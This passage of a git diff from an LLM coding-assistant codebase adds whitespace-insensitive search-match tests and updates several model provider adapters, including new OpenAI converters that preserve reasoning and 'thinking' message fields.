Hello & goodbye
\r\nHello&goodbye
`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 39, + endIndex: 95, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should match content surrounded by different types of whitespace", () => { + const fileContent = `\tconst data = {\n\t\tname: "John",\n\t\tage: 30,\n\t\taddress: {\n\t\t\tstreet: "Main St",\n\t\t\tcity: "NYC"\n\t\t}\n\t};`; + const searchContent = `address:{street:"MainSt",city:"NYC"}`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 45, + endIndex: 96, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + // IMPORTANT string.length and string.slice both count UTF-16 units so emojis will count as 2 in both + it("should handle unicode characters with whitespace differences", () => { + const fileContent = `const message = {\n greeting: "Hello 👋",\n emoji: "🚀",\n unicode: "café",\n symbol: "∑"\n};`; + const searchContent = `emoji:"🚀",unicode:"café",symbol:"∑"`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 44, + endIndex: 89, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should match across multiple nested blocks with varying indentation", () => { + const fileContent = `class Calculator {\n add(a, b) {\n if (typeof a === 'number' && typeof b === 'number') {\n return a + b;\n }\n throw new Error('Invalid input');\n }\n\n multiply(x, y) {\n return x * y;\n }\n}`; + const searchContent = `if(typeofa==='number'&&typeofb==='number'){returna+b;}`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 43, + endIndex: 132, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should handle regex-like patterns with escaped characters", () => { + const fileContent = `const pattern = /\\d+\\.\\d+/g;\nconst test = \"123.456\";\nif (pattern.test(test)) {\n console.log(\"Match found\");\n}`; + const searchContent = `consttest="123.456";if(pattern.test(test)){console.log("Matchfound");}`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 29, + endIndex: 110, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should match SQL-like content with varying whitespace", () => { + const fileContent = `SELECT users.name,\n users.email,\n profiles.bio\nFROM users\nINNER JOIN profiles ON users.id = profiles.user_id\nWHERE users.active = true\nORDER BY users.name;`; + const searchContent = `SELECTusers.name,users.email,profiles.bioFROMusersINNERJOINprofiles`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 89, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should handle content with form feeds, vertical tabs, and other rare whitespace", () => { + const fileContent = `function\fprocess\vdata(input)\u0020{\u00A0\n\treturn\u2000input.trim();\u2009\n}`; + const searchContent = `functionprocessdata(input){returninput.trim();}`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 0, + endIndex: 56, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should match content with Windows-style CRLF line endings", () => { + const fileContent = `@echo off\r\nset PATH=%PATH%;C:\\tools\r\nif \"%1\"==\"\" (\r\n echo Usage: script.bat filename\r\n exit /b 1\r\n)\r\necho Processing %1...\r\necho Done.`; + const searchContent = `if\"%1\"==\"\"(echo Usage: script.bat filename exit/b 1)`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 37, + endIndex: 105, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should handle deeply nested JSON with mixed formatting", () => { + const fileContent = `{\n \"config\": {\n \"database\": {\n \"host\": \"localhost\",\n \"port\": 5432,\n \"credentials\": {\n \"username\": \"admin\",\n \"password\": \"secret\"\n },\n \"options\": {\n \"ssl\": true,\n \"timeout\": 30000\n }\n }\n }\n}`; + const searchContent = `\"credentials\":{\"username\":\"admin\",\"password\":\"secret\"},\"options\":{\"ssl\":true,\"timeout\":30000}`; + const result = findSearchMatch(fileContent, searchContent); + + expect(result).toEqual({ + startIndex: 87, + endIndex: 243, + strategyName: "whitespaceIgnoredMatch", + }); + }); + + it("should match XML content with attribute spacing differences", () => { + const fileContent = `\nHello World
+Hello World
/v1/publishers/anthropic/models/claude-3-5-sonnet-20240620:streamRawPredict
@@ -234,13 +238,16 @@ class VertexAI extends BaseLLM {
const response = await this.fetch(apiURL, {
method: "POST",
headers: {
- ...(shouldCacheSystemMessage || this.cacheBehavior?.cacheConversation
+ ...(shouldCacheSystemMessage || shouldCachePrompt
? { "anthropic-beta": "prompt-caching-2024-07-31" }
: {}),
},
body: JSON.stringify({
...this._anthropicConvertArgs(options),
- messages: this.anthropicInstance.convertMessages(messages),
+ messages: this.anthropicInstance.convertMessages(
+ messages,
+ shouldCachePrompt,
+ ),
system: shouldCacheSystemMessage
? [
{
diff --git a/core/llm/llms/WatsonX.ts b/core/llm/llms/WatsonX.ts
index 76dc897ad..1d1d473dd 100644
--- a/core/llm/llms/WatsonX.ts
+++ b/core/llm/llms/WatsonX.ts
@@ -5,6 +5,7 @@ import {
Chunk,
CompletionOptions,
LLMOptions,
+ TextMessagePart,
ToolCallDelta,
ToolResultChatMessage,
} from "../../index.js";
@@ -103,11 +104,30 @@ class WatsonX extends BaseLLM {
}));
delete message_.toolCalls;
delete message_.content;
- } else if (
- message_.role === "user" &&
- typeof message_.content === "string"
- ) {
- message_.content = [{ type: "text", text: message_.content }];
+ } else if (message_.role === "user") {
+ if (typeof message.content === "string") {
+ message_.content = [{ type: "text", text: message_.content }];
+ } else {
+ return {
+ role: "user",
+ content: !message.content.some((item) => item.type !== "text")
+ ? message.content
+ .map((item) => (item as TextMessagePart).text)
+ .join("") || " "
+ : message.content.map((part) => {
+ if (part.type === "imageUrl") {
+ return {
+ type: "image_url" as const,
+ image_url: {
+ url: part.imageUrl.url,
+ detail: "auto" as const,
+ },
+ };
+ }
+ return part;
+ }),
+ };
+ }
}
return message_;
}
diff --git a/core/llm/llms/index.ts b/core/llm/llms/index.ts
index bb4301576..6ef57eae3 100644
--- a/core/llm/llms/index.ts
+++ b/core/llm/llms/index.ts
@@ -17,6 +17,7 @@ import BedrockImport from "./BedrockImport";
import Cerebras from "./Cerebras";
import Cloudflare from "./Cloudflare";
import Cohere from "./Cohere";
+import CometAPI from "./CometAPI";
import DeepInfra from "./DeepInfra";
import Deepseek from "./Deepseek";
import Docker from "./Docker";
@@ -67,6 +68,7 @@ import xAI from "./xAI";
export const LLMClasses = [
Anthropic,
Cohere,
+ CometAPI,
FunctionNetwork,
Gemini,
Llamafile,
diff --git a/core/llm/llms/stubs/ContinueProxy.ts b/core/llm/llms/stubs/ContinueProxy.ts
index 41a0904e0..52d7a6b80 100644
--- a/core/llm/llms/stubs/ContinueProxy.ts
+++ b/core/llm/llms/stubs/ContinueProxy.ts
@@ -101,9 +101,18 @@ class ContinueProxy extends OpenAI {
protected _getHeaders() {
const headers: any = super._getHeaders();
headers["x-continue-unique-id"] = Telemetry.uniqueId;
+ headers["user-agent"] = this._getUserAgent();
return headers;
}
+ private _getUserAgent(): string {
+ const ideInfo = Telemetry.ideInfo;
+ const extensionVersion = ideInfo?.extensionVersion ?? "unknown";
+ const ideName = ideInfo?.name ?? "unknown";
+ const ideType = ideInfo?.ideType ?? "unknown";
+ return `Continue/${extensionVersion} (${ideName}; ${ideType})`;
+ }
+
supportsCompletions(): boolean {
// This was a hotfix and contains duplicate logic from class-specific completion support methods
if (this.underlyingProviderName === "vllm") {
@@ -129,6 +138,7 @@ class ContinueProxy extends OpenAI {
headers: {
"Content-Type": "application/json",
Authorization: `Bearer ${this.apiKey}`,
+ "user-agent": this._getUserAgent(),
},
body: JSON.stringify({
query,
diff --git a/core/llm/llms/xAI.ts b/core/llm/llms/xAI.ts
index a6b29f01a..13a69c5fc 100644
--- a/core/llm/llms/xAI.ts
+++ b/core/llm/llms/xAI.ts
@@ -7,14 +7,6 @@ class xAI extends OpenAI {
static defaultOptions: Partial = {
apiBase: "https://api.x.ai/v1/",
};
-
- private static MODEL_IDS: { [name: string]: string } = {
- "grok-beta": "grok-beta", // Future names might not line up
- };
-
- protected _convertModelName(model: string) {
- return xAI.MODEL_IDS[model] || this.model;
- }
}
export default xAI;
diff --git a/core/llm/openaiTypeConverters.ts b/core/llm/openaiTypeConverters.ts
index 75ea7ee91..a7e3d6bac 100644
--- a/core/llm/openaiTypeConverters.ts
+++ b/core/llm/openaiTypeConverters.ts
@@ -4,15 +4,97 @@ import {
ChatCompletionAssistantMessageParam,
ChatCompletionChunk,
ChatCompletionCreateParams,
+ ChatCompletionMessage,
ChatCompletionMessageParam,
CompletionCreateParams,
} from "openai/resources/index";
+import type {
+ EasyInputMessage,
+ Response as OpenAIResponse,
+ ResponseFunctionToolCall,
+ ResponseInput,
+ ResponseInputItem,
+ ResponseInputMessageContentList,
+ ResponseOutputMessage,
+ ResponseOutputText,
+ ResponseReasoningItem,
+ ResponseReasoningSummaryTextDeltaEvent,
+ ResponseReasoningSummaryTextDoneEvent,
+ ResponseReasoningTextDeltaEvent,
+ ResponseReasoningTextDoneEvent,
+ ResponseStreamEvent,
+ ResponseTextDeltaEvent,
+} from "openai/resources/responses/responses.mjs";
-import { ChatMessage, CompletionOptions, TextMessagePart } from "..";
+import {
+ AssistantChatMessage,
+ ChatMessage,
+ CompletionOptions,
+ MessageContent,
+ MessagePart,
+ TextMessagePart,
+ ThinkingChatMessage,
+ ToolCallDelta,
+} from "..";
+
+function appendReasoningFieldsIfSupported(
+ msg: ChatCompletionAssistantMessageParam & {
+ reasoning?: string;
+ reasoning_details?: any[];
+ },
+ options: CompletionOptions,
+ prevMessage?: ChatMessage,
+ providerFlags?: {
+ includeReasoningField?: boolean;
+ includeReasoningDetailsField?: boolean;
+ },
+) {
+ if (!prevMessage || prevMessage.role !== "thinking") return;
+
+ const includeReasoning = !!providerFlags?.includeReasoningField;
+ const includeReasoningDetails = !!providerFlags?.includeReasoningDetailsField;
+ if (!includeReasoning && !includeReasoningDetails) return;
+
+ const reasoningDetailsValue =
+ prevMessage.reasoning_details ||
+ (prevMessage.signature
+ ? [{ signature: prevMessage.signature }]
+ : undefined);
+
+ // Claude-specific safeguard: prevent errors when switching to Claude after another model.
+ // Claude requires a signed reasoning_details block; if missing, we must omit both fields.
+ // This check is done before adding any fields to avoid deletes.
+ if (
+ includeReasoningDetails &&
+ options.model.includes("claude") &&
+ !(
+ Array.isArray(reasoningDetailsValue) &&
+ reasoningDetailsValue.some((d) => d && d.signature)
+ )
+ ) {
+ console.warn(
+ "Omitting reasoning fields for Claude: no signature present in reasoning_details",
+ );
+ return;
+ }
+
+ if (includeReasoningDetails && reasoningDetailsValue) {
+ msg.reasoning_details = reasoningDetailsValue || [];
+ }
+ if (includeReasoning) {
+ msg.reasoning = prevMessage.content as string;
+ }
+}
export function toChatMessage(
message: ChatMessage,
-): ChatCompletionMessageParam {
+ options: CompletionOptions,
+ prevMessage?: ChatMessage,
+ providerFlags?: {
+ includeReasoningField?: boolean;
+ includeReasoningDetailsField?: boolean;
+ },
+): ChatCompletionMessageParam | null {
if (message.role === "tool") {
return {
role: "tool",
@@ -26,18 +108,30 @@ export function toChatMessage(
content: message.content,
};
}
+ if (message.role === "thinking") {
+ // Return null - thinking messages are merged into following assistant messages
+ return null;
+ }
if (message.role === "assistant") {
- const msg: ChatCompletionAssistantMessageParam = {
+ // Base assistant message
+ const msg: ChatCompletionAssistantMessageParam & {
+ reasoning?: string;
+ reasoning_details?: {
+ [key: string]: any;
+ signature?: string | undefined;
+ }[];
+ } = {
role: "assistant",
content:
typeof message.content === "string"
? message.content || " " // LM Studio (and other providers) don't accept empty content
: message.content
.filter((part) => part.type === "text")
- .map((part) => part as TextMessagePart), // can remove with newer typescript version
+ .map((part) => part as TextMessagePart),
};
+ // Add tool calls if present
if (message.toolCalls) {
msg.tool_calls = message.toolCalls.map((toolCall) => ({
id: toolCall.id!,
@@ -48,7 +142,16 @@ export function toChatMessage(
},
}));
}
- return msg;
+
+ // Preserving reasoning blocks
+ appendReasoningFieldsIfSupported(
+ msg as any,
+ options,
+ prevMessage,
+ providerFlags,
+ );
+
+ return msg as ChatCompletionMessageParam;
} else {
if (typeof message.content === "string") {
return {
@@ -62,11 +165,8 @@ export function toChatMessage(
// that don't support multi-media format
return {
role: "user",
- content: !message.content.some((item) => item.type !== "text")
- ? message.content
- .map((item) => (item as TextMessagePart).text)
- .join("") || " "
- : message.content.map((part) => {
+ content: message.content.some((item) => item.type !== "text")
+ ? message.content.map((part) => {
if (part.type === "imageUrl") {
return {
type: "image_url" as const,
@@ -77,7 +177,10 @@ export function toChatMessage(
};
}
return part;
- }),
+ })
+ : message.content
+ .map((item) => (item as TextMessagePart).text)
+ .join("") || " ",
};
}
}
@@ -85,9 +188,17 @@ export function toChatMessage(
export function toChatBody(
messages: ChatMessage[],
options: CompletionOptions,
+ providerFlags?: {
+ includeReasoningField?: boolean;
+ includeReasoningDetailsField?: boolean;
+ },
): ChatCompletionCreateParams {
const params: ChatCompletionCreateParams = {
- messages: messages.map(toChatMessage),
+ messages: messages
+ .map((m, index) =>
+ toChatMessage(m, options, messages[index - 1], providerFlags),
+ )
+ .filter((m) => m !== null) as ChatCompletionMessageParam[],
model: options.model,
max_tokens: options.maxTokens,
temperature: options.temperature,
@@ -153,11 +264,40 @@ export function toFimBody(
} as any;
}
-export function fromChatResponse(response: ChatCompletion): ChatMessage {
- const message = response.choices[0].message;
+export function fromChatResponse(response: ChatCompletion): ChatMessage[] {
+ const messages: ChatMessage[] = [];
+ const message = response.choices[0].message as ChatCompletionMessage & {
+ reasoning?: string;
+ reasoning_content?: string;
+ reasoning_details?: {
+ signature?: string;
+ [key: string]: any;
+ }[];
+ };
+
+ // Check for reasoning content first (similar to fromChatCompletionChunk)
+ if (message.reasoning_content || message.reasoning) {
+ const thinkingMessage: ChatMessage = {
+ role: "thinking",
+ content: (message as any).reasoning_content || (message as any).reasoning,
+ };
+
+ // Preserve reasoning_details if present
+ if (message.reasoning_details) {
+ thinkingMessage.reasoning_details = message.reasoning_details;
+ // Extract signature from reasoning_details if available
+ if (message.reasoning_details[0]?.signature) {
+ thinkingMessage.signature = message.reasoning_details[0].signature;
+ }
+ }
+
+ messages.push(thinkingMessage);
+ }
+
+ // Then add the assistant message
const toolCall = message.tool_calls?.[0];
if (toolCall) {
- return {
+ messages.push({
role: "assistant",
content: "",
toolCalls: message.tool_calls
@@ -170,19 +310,29 @@ export function fromChatResponse(response: ChatCompletion): ChatMessage {
arguments: (tc as any).function?.arguments,
},
})),
- };
+ });
+ } else {
+ messages.push({
+ role: "assistant",
+ content: message.content ?? "",
+ });
}
- return {
- role: "assistant",
- content: message.content ?? "",
- };
+ return messages;
}
export function fromChatCompletionChunk(
chunk: ChatCompletionChunk,
): ChatMessage | undefined {
- const delta = chunk.choices?.[0]?.delta;
+ const delta = chunk.choices?.[0]?.delta as
+ | (ChatCompletionChunk.Choice.Delta & {
+ reasoning?: string;
+ reasoning_content?: string;
+ reasoning_details?: {
+ signature?: string;
+ }[];
+ })
+ | undefined;
if (delta?.content) {
return {
@@ -208,11 +358,568 @@ export function fromChatCompletionChunk(
toolCalls,
};
}
+ } else if (
+ delta?.reasoning_content ||
+ delta?.reasoning ||
+ delta?.reasoning_details?.length
+ ) {
+ const message: ThinkingChatMessage = {
+ role: "thinking",
+ content: delta.reasoning_content || delta.reasoning || "",
+ signature: delta?.reasoning_details?.[0]?.signature,
+ reasoning_details: delta?.reasoning_details as any[],
+ };
+ return message;
}
return undefined;
}
+function handleTextDeltaEvent(
+ e: ResponseTextDeltaEvent,
+): ChatMessage | undefined {
+ return e.delta ? { role: "assistant", content: e.delta } : undefined;
+}
+
+function handleFunctionCallArgsDelta(e: any): ChatMessage | undefined {
+ const ev: any = e as any;
+ const item = ev.item || {};
+ const name = item && typeof item.name === "string" ? item.name : undefined;
+ const argDelta =
+ typeof ev.delta === "string"
+ ? ev.delta
+ : (ev.delta?.arguments ?? ev.arguments);
+ if (typeof argDelta === "string" && argDelta.length > 0) {
+ const call_id =
+ (item?.call_id as string | undefined) ||
+ (item?.id as string | undefined) ||
+ "";
+ const toolCalls: ToolCallDelta[] = [
+ {
+ id: call_id,
+ type: "function",
+ function: { name: name || "", arguments: argDelta },
+ },
+ ];
+ const assistant: AssistantChatMessage = {
+ role: "assistant",
+ content: "",
+ toolCalls,
+ };
+ return assistant;
+ }
+ return undefined;
+}
+
+function handleOutputItemAdded(
+ e: ResponseStreamEvent,
+): ChatMessage | undefined {
+ const item = (e as any).item as {
+ type?: string;
+ id?: string;
+ name?: string;
+ arguments?: string;
+ call_id?: string;
+ summary?: Array<{ type: string; text: string }>;
+ encrypted_content?: string;
+ };
+ if (!item || !item.type) return undefined;
+ if (item.type === "reasoning") {
+ const details: Array<{ [k: string]: unknown }> = [];
+ if (item.id) details.push({ type: "reasoning_id", id: item.id });
+ if (typeof item.encrypted_content === "string" && item.encrypted_content) {
+ details.push({
+ type: "encrypted_content",
+ encrypted_content: item.encrypted_content,
+ });
+ }
+ if (Array.isArray(item.summary)) {
+ for (const part of item.summary) {
+ if (part?.type === "summary_text" && typeof part.text === "string") {
+ details.push({ type: "summary_text", text: part.text });
+ }
+ }
+ }
+ const thinking: ThinkingChatMessage = {
+ role: "thinking",
+ content: "",
+ reasoning_details: details,
+ metadata: {
+ reasoningId: item.id as string,
+ encrypted_content: item.encrypted_content as string | undefined,
+ },
+ };
+ return thinking;
+ }
+ if (item.type === "message" && typeof item.id === "string") {
+ return {
+ role: "assistant",
+ content: "",
+ metadata: { responsesOutputItemId: item.id },
+ };
+ }
+ if (item.type === "function_call" && typeof item.id === "string") {
+ const name = item.name as string | undefined;
+ const args = typeof item.arguments === "string" ? item.arguments : "";
+ const call_id = item.call_id as string | undefined;
+ const toolCalls: ToolCallDelta[] = name
+ ? [
+ {
+ id: call_id || (item.id as string),
+ type: "function",
+ function: { name, arguments: args },
+ },
+ ]
+ : [];
+ const assistant: AssistantChatMessage = {
+ role: "assistant",
+ content: "",
+ toolCalls,
+ metadata: { responsesOutputItemId: item.id as string },
+ };
+ return assistant;
+ }
+ return undefined;
+}
+
+function handleReasoningSummaryDelta(
+ e: ResponseReasoningSummaryTextDeltaEvent,
+): ChatMessage | undefined {
+ const details: Array<{ [k: string]: unknown }> = [
+ { type: "summary_text", text: e.delta },
+ ];
+ if ((e as any).item_id)
+ details.push({ type: "reasoning_id", id: (e as any).item_id });
+ const thinking: ThinkingChatMessage = {
+ role: "thinking",
+ content: e.delta,
+ reasoning_details: details,
+ };
+ return thinking;
+}
+
+function handleReasoningSummaryDone(
+ e: ResponseReasoningSummaryTextDoneEvent,
+): ChatMessage | undefined {
+ const details: Array<{ [k: string]: unknown }> = [];
+ if (e.text) details.push({ type: "summary_text", text: e.text });
+ if ((e as any).item_id)
+ details.push({ type: "reasoning_id", id: (e as any).item_id });
+ const thinking: ThinkingChatMessage = {
+ role: "thinking",
+ content: e.text,
+ reasoning_details: details,
+ };
+ return thinking;
+}
+
+function handleReasoningTextDelta(
+ e: ResponseReasoningTextDeltaEvent,
+): ChatMessage | undefined {
+ const details: Array<{ [k: string]: unknown }> = [
+ { type: "reasoning_text", text: e.delta },
+ ];
+ if ((e as any).item_id)
+ details.push({ type: "reasoning_id", id: (e as any).item_id });
+ const thinking: ThinkingChatMessage = {
+ role: "thinking",
+ content: e.delta,
+ reasoning_details: details,
+ };
+ return thinking;
+}
+
+function handleReasoningTextDone(
+ e: ResponseReasoningTextDoneEvent,
+): ChatMessage | undefined {
+ const details: Array<{ [k: string]: unknown }> = [];
+ if (e.text) details.push({ type: "reasoning_text", text: e.text });
+ if ((e as any).item_id)
+ details.push({ type: "reasoning_id", id: (e as any).item_id });
+ const thinking: ThinkingChatMessage = {
+ role: "thinking",
+ content: e.text,
+ reasoning_details: details,
+ };
+ return thinking;
+}
+
+function handleResponsesStreamEvent(
+ e: ResponseStreamEvent,
+): ChatMessage | undefined {
+ const t = (e as any).type as string;
+ if (t === "response.output_text.delta") {
+ return handleTextDeltaEvent(e as ResponseTextDeltaEvent);
+ }
+ if (t === "response.output_text.done") {
+ return undefined; // avoid duplicate final text
+ }
+ if (t === "response.function_call_arguments.delta") {
+ return handleFunctionCallArgsDelta(e);
+ }
+ if (t === "response.function_call_arguments.done") {
+ return undefined;
+ }
+ if (t === "response.output_item.added") {
+ return handleOutputItemAdded(e);
+ }
+ if (t === "response.reasoning_summary_text.delta") {
+ return handleReasoningSummaryDelta(
+ e as ResponseReasoningSummaryTextDeltaEvent,
+ );
+ }
+ if (t === "response.reasoning_summary_text.done") {
+ return handleReasoningSummaryDone(
+ e as ResponseReasoningSummaryTextDoneEvent,
+ );
+ }
+ if (t === "response.reasoning_text.delta") {
+ return handleReasoningTextDelta(e as ResponseReasoningTextDeltaEvent);
+ }
+ if (t === "response.reasoning_text.done") {
+ return handleReasoningTextDone(e as ResponseReasoningTextDoneEvent);
+ }
+ return undefined;
+}
+
+function handleResponsesFinal(
+ resp: OpenAIResponse,
+): ChatMessage | ChatMessage[] | undefined {
+ // Prefer structured output items when present
+ if (Array.isArray(resp.output) && resp.output.length > 0) {
+ const result: ChatMessage[] = [];
+ for (const raw of resp.output as any[]) {
+ const item = raw as any;
+ if (!item || typeof item !== "object") continue;
+ if (item.type === "reasoning") {
+ const details: Array<{ [k: string]: unknown }> = [];
+ if (typeof item.id === "string") {
+ details.push({ type: "reasoning_id", id: item.id });
+ }
+ if (Array.isArray(item.summary)) {
+ for (const s of item.summary) {
+ if (s?.type === "summary_text" && typeof s.text === "string") {
+ details.push({ type: "summary_text", text: s.text });
+ }
+ }
+ }
+ if (Array.isArray(item.content)) {
+ for (const c of item.content) {
+ if (c?.type === "reasoning_text" && typeof c.text === "string") {
+ details.push({ type: "reasoning_text", text: c.text });
+ }
+ }
+ }
+ if (
+ typeof item.encrypted_content === "string" &&
+ item.encrypted_content
+ ) {
+ details.push({
+ type: "encrypted_content",
+ encrypted_content: item.encrypted_content,
+ });
+ }
+ const thinking: ThinkingChatMessage = {
+ role: "thinking",
+ content: "",
+ reasoning_details: details,
+ metadata: {
+ reasoningId: item.id as string,
+ encrypted_content: item.encrypted_content as string | undefined,
+ },
+ };
+ result.push(thinking);
+ continue;
+ }
+ if (item.type === "message") {
+ let text = "";
+ if (Array.isArray(item.content)) {
+ text = (item.content as any[])
+ .map((c) => (typeof c?.text === "string" ? c.text : ""))
+ .join("");
+ } else if (typeof item.content === "string") {
+ text = item.content;
+ }
+ const assistant: AssistantChatMessage = {
+ role: "assistant",
+ content: text || "",
+ metadata:
+ typeof item.id === "string"
+ ? { responsesOutputItemId: item.id }
+ : undefined,
+ };
+ result.push(assistant);
+ continue;
+ }
+ if (item.type === "function_call") {
+ const name = item.name as string | undefined;
+ const args =
+ typeof item.arguments === "string"
+ ? item.arguments
+ : JSON.stringify(item.arguments ?? "");
+ const call_id =
+ (item.call_id as string | undefined) ||
+ (item.id as string | undefined) ||
+ "";
+ const toolCalls: ToolCallDelta[] = name
+ ? [
+ {
+ id: call_id,
+ type: "function",
+ function: { name, arguments: args || "" },
+ },
+ ]
+ : [];
+ const assistant: AssistantChatMessage = {
+ role: "assistant",
+ content: "",
+ toolCalls,
+ metadata:
+ typeof item.id === "string"
+ ? { responsesOutputItemId: item.id }
+ : undefined,
+ };
+ result.push(assistant);
+ continue;
+ }
+ }
+ if (result.length > 0) return result;
+ }
+
+ // Fallback to output_text when no structured output is present
+ if (typeof resp.output_text === "string" && resp.output_text.length > 0) {
+ return { role: "assistant", content: resp.output_text };
+ }
+
+ return undefined;
+}
+
+export function fromResponsesChunk(
+ event: ResponseStreamEvent | OpenAIResponse,
+): ChatMessage | ChatMessage[] | undefined {
+ if (typeof (event as any).type === "string") {
+ return handleResponsesStreamEvent(event as ResponseStreamEvent);
+ }
+ return handleResponsesFinal(event as OpenAIResponse);
+}
+
+export function mergeReasoningDetails(
+ existing: any[] | undefined,
+ delta: any[] | undefined,
+): any[] | undefined {
+ if (!delta) return existing;
+ if (!existing) return delta;
+
+ const result = [...existing];
+
+ for (const deltaItem of delta) {
+ // Skip items without a type
+ if (!deltaItem.type) {
+ continue;
+ }
+
+ // Find existing item with the same type
+ const existingIndex = result.findIndex(
+ (item) => item.type === deltaItem.type,
+ );
+
+ if (existingIndex === -1) {
+ // No existing item with this type, add new item
+ result.push({ ...deltaItem });
+ } else {
+ // Merge with existing item of the same type
+ const existingItem = result[existingIndex];
+
+ for (const [key, value] of Object.entries(deltaItem)) {
+ if (value === null || value === undefined) continue;
+
+ if (key === "text" || key === "signature" || key === "summary") {
+ // Concatenate text and signature fields
+ existingItem[key] = (existingItem[key] || "") + value;
+ } else if (key !== "type") {
+ // Don't overwrite type
+ // Overwrite other fields
+ existingItem[key] = value;
+ }
+ }
+ }
+ }
+
+ return result;
+}
+
+function getTextFromMessageContent(content: MessageContent): string {
+ if (typeof content === "string") return content;
+ return content
+ .filter((p): p is TextMessagePart => p.type === "text")
+ .map((p) => p.text)
+ .join("");
+}
+
+function toResponseInputContentList(
+ parts: MessagePart[],
+): ResponseInputMessageContentList {
+ const list: ResponseInputMessageContentList = [];
+ for (const part of parts) {
+ if (part.type === "text") {
+ list.push({ type: "input_text", text: part.text });
+ } else if (part.type === "imageUrl") {
+ list.push({
+ type: "input_image",
+ image_url: part.imageUrl.url,
+ detail: "auto",
+ });
+ }
+ }
+ return list;
+}
+
+export function toResponsesInput(messages: ChatMessage[]): ResponseInput {
+ const input: ResponseInput = [];
+
+ const pushMessage = (
+ role: "user" | "assistant" | "system" | "developer",
+ content: string | ResponseInputMessageContentList,
+ ) => {
+ const normalizedRole: "user" | "assistant" | "system" | "developer" =
+ role === "system" ? "developer" : role;
+ const easyMsg: EasyInputMessage = {
+ role: normalizedRole,
+ content,
+ type: "message",
+ };
+ input.push(easyMsg as ResponseInputItem);
+ };
+
+ for (let i = 0; i < messages.length; i++) {
+ const msg = messages[i];
+ switch (msg.role) {
+ case "system": {
+ const content = getTextFromMessageContent(msg.content);
+ pushMessage("developer", content || "");
+ break;
+ }
+ case "user": {
+ if (typeof msg.content === "string") {
+ pushMessage("user", msg.content);
+ } else if (Array.isArray(msg.content)) {
+ const parts = toResponseInputContentList(
+ msg.content as MessagePart[],
+ );
+ pushMessage("user", parts.length ? parts : "");
+ }
+ break;
+ }
+ case "assistant": {
+ const text = getTextFromMessageContent(msg.content);
+
+ const respId = msg.metadata?.responsesOutputItemId as
+ | string
+ | undefined;
+ const toolCalls = msg.toolCalls as ToolCallDelta[] | undefined;
+
+ if (respId && Array.isArray(toolCalls) && toolCalls.length > 0) {
+ // Emit full function_call output item
+ const tc = toolCalls[0];
+ const name = tc?.function?.name as string | undefined;
+ const args = tc?.function?.arguments as string | undefined;
+ const call_id = tc?.id as string | undefined;
+ const functionCallItem: ResponseFunctionToolCall = {
+ id: respId,
+ type: "function_call",
+ name: name || "",
+ arguments: typeof args === "string" ? args : "{}",
+ call_id: call_id || respId,
+ };
+ input.push(functionCallItem);
+ } else if (respId) {
+ // Emit full assistant output message item
+ const outputMessageItem: ResponseOutputMessage = {
+ id: respId,
+ role: "assistant",
+ type: "message",
+ status: "completed",
+ content: [
+ {
+ type: "output_text",
+ text: text || "",
+ annotations: [],
+ } satisfies ResponseOutputText,
+ ],
+ };
+ input.push(outputMessageItem);
+ } else {
+ // Fallback to EasyInput assistant message
+ pushMessage("assistant", text || "");
+ }
+ break;
+ }
+ case "tool": {
+ const call_id = msg.toolCallId;
+ const output =
+ typeof msg.content === "string"
+ ? msg.content
+ : JSON.stringify(msg.content);
+ const functionCallOutput: ResponseInputItem = {
+ type: "function_call_output",
+ call_id,
+ output,
+ } as ResponseInputItem;
+ input.push(functionCallOutput);
+ break;
+ }
+ case "thinking": {
+ const details = (msg as ThinkingChatMessage).reasoning_details ?? [];
+ if (details.length) {
+ let id: string | undefined;
+ let summaryText = "";
+ let encrypted: string | undefined;
+ let reasoningText = "";
+ for (const raw of details as Array>) {
+ const d = raw as {
+ type?: string;
+ id?: string;
+ text?: string;
+ encrypted_content?: string;
+ };
+ if (d.type === "reasoning_id" && d.id) id = d.id;
+ else if (d.type === "encrypted_content" && d.encrypted_content)
+ encrypted = d.encrypted_content;
+ else if (d.type === "summary_text" && typeof d.text === "string")
+ summaryText += d.text;
+ else if (d.type === "reasoning_text" && typeof d.text === "string")
+ reasoningText += d.text;
+ }
+ if (id) {
+ const reasoningItem: ResponseReasoningItem = {
+ id,
+ type: "reasoning",
+ summary: [],
+ } as ResponseReasoningItem;
+ if (summaryText) {
+ reasoningItem.summary = [
+ { type: "summary_text", text: summaryText },
+ ];
+ }
+ if (reasoningText) {
+ reasoningItem.content = [
+ { type: "reasoning_text", text: reasoningText },
+ ];
+ }
+ if (encrypted) {
+ reasoningItem.encrypted_content = encrypted;
+ }
+ input.push(reasoningItem as ResponseInputItem);
+ }
+ }
+ break;
+ }
+ }
+ }
+
+ return input;
+}
+
export type LlmApiRequestType =
| "chat"
| "streamChat"
diff --git a/core/llm/rules/alwaysApply.vitest.ts b/core/llm/rules/alwaysApply.vitest.ts
index f8d6e1160..f586ff87d 100644
--- a/core/llm/rules/alwaysApply.vitest.ts
+++ b/core/llm/rules/alwaysApply.vitest.ts
@@ -44,7 +44,7 @@ describe("alwaysApply Behavior", () => {
alwaysApply: true,
globs: "**/*.tsx", // Should be ignored since alwaysApply is true
source: "rules-block",
- ruleFile: ".continue/rules.md",
+ sourceFile: ".continue/rules.md",
};
// Test with no file context
@@ -83,7 +83,7 @@ describe("alwaysApply Behavior", () => {
alwaysApply: false,
globs: "**/*.tsx",
source: "rules-block",
- ruleFile: ".continue/rules.md",
+ sourceFile: ".continue/rules.md",
};
// Rule with alwaysApply: false and no globs
